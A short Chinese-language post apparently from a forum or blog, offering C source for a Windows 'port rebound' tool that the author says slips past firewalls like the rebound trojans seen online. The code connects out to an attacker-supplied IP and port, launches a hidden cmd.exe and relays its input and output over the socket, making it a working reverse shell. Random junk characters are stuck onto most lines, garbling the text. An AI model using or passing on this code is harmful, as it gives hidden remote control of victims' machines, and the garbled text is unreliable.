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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {"X n`@Y  
X v[5)4N  
/* ============================== N{L'Q0!  
Rebound port in Windows NT "`P/j+-rt  
By wind,2006/7 KU,K E tf  
===============================*/ +"8 [E~Bih  
#include kev|AU (WX  
#include up+W[#+  
/.1c <!  
#pragma comment(lib,"wsock32.lib") l1(6*+  
Y~ j.Kt  
void OutputShell(); Hc?8Q\O:  
SOCKET sClient; +O`3eP`u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2aQR#lcv  
*&$J.KM  
void main(int argc,char **argv) H CKD0xx  
{ ?y1']GAo  
WSADATA stWsaData; 8<BYAHY^  
int nRet; !|!k9~v!  
SOCKADDR_IN stSaiClient,stSaiServer; 0=N,y  
3r{3HaN(^'  
if(argc != 3) Hh^EMQk  
{ 4n55{ ?Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); DK' ? '  
return; `SDpOqfIrP  
} 1'.SHY|  
P2HR4`c  
WSAStartup(MAKEWORD(2,2),&stWsaData); [ .] x y  
&72 ( <  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O~3<P3W  
BE,XiH;  
stSaiClient.sin_family = AF_INET; &(M][Uo{|'  
stSaiClient.sin_port = htons(0); ~Mk{2;x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G]Rb{v,r  
=;9 %Q{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &BF97%E2  
{ E?\&OeAkO  
printf("Bind Socket Failed!\n"); ;E,^bt<U  
return; t:MeSO  
} I,[njlO:  
2o8:[3C5  
stSaiServer.sin_family = AF_INET; 9;W 2zcN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 12{F  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a1^CpeG~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YUGE>"{  
{ xIt'o(jQH  
printf("Connect Error!"); O} #Ic$38  
return; ALcin))+B  
} E[Xqyp!<  
OutputShell(); 7j,-o  
} 1omjP`]|,  
-DVoO2|Dv  
void OutputShell() *}F>c3x]  
{ r4YiXss  
char szBuff[1024]; DIqM\ ><  
SECURITY_ATTRIBUTES stSecurityAttributes; d_v]mfUF  
OSVERSIONINFO stOsversionInfo; .[8! E_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }-Ds%L  
STARTUPINFO stStartupInfo; D.[h`Hkc  
char *szShell; /Pbytu);ds  
PROCESS_INFORMATION stProcessInformation;  3o_)x  
unsigned long lBytesRead; @euH[<  
8 x=J&d  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Zr(4Q9fDo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IOfxx>=3  
stSecurityAttributes.lpSecurityDescriptor = 0; +N6IdDN3  
stSecurityAttributes.bInheritHandle = TRUE; Q,ez AE  
eeVDU$*e=  
lpq) vKM}^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uOQ!av2"Rf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bA_/ 6r)u  
W)X" G3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -1_WE/Ps  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r|MBkpcvp  
stStartupInfo.wShowWindow = SW_HIDE; g 2LY~  
stStartupInfo.hStdInput = hReadPipe; vU,V[1^a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "h@=O c  
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GetVersionEx(&stOsversionInfo); ._E 6?  
8A jQPDn+  
switch(stOsversionInfo.dwPlatformId) Y9 /`w@"v  
{ n1!}d%:  
case 1: bmOK 8  
szShell = "command.com"; zAW+!C.  
break; Z bW!c1s{  
default: E"O6N.}.  
szShell = "cmd.exe"; Ao )\/AR'  
break; Af" p:;^z  
} =ea'G>;[H  
*b}/fG)XZ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3 <A?  
8|LU=p`y'  
send(sClient,szMsg,77,0); C3K":JB  
while(1) w4Uo-zr@  
{ 0$qK: ze  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UVd ^tg  
if(lBytesRead) <(!~s><.  
{ {X\%7Zef+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %A3ci[$g  
send(sClient,szBuff,lBytesRead,0);  erQQ_  
} U!GfDt  
else ]Sey|/@D  
{ y$}o{VE{x  
lBytesRead=recv(sClient,szBuff,1024,0); z"D0Th`S6  
if(lBytesRead<=0) break; * lJkk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ak dx1h,  
} SIZ&0V  
} 4Uk\hgT0  
N!//m?}  
return; XxYwBc'pc  
}
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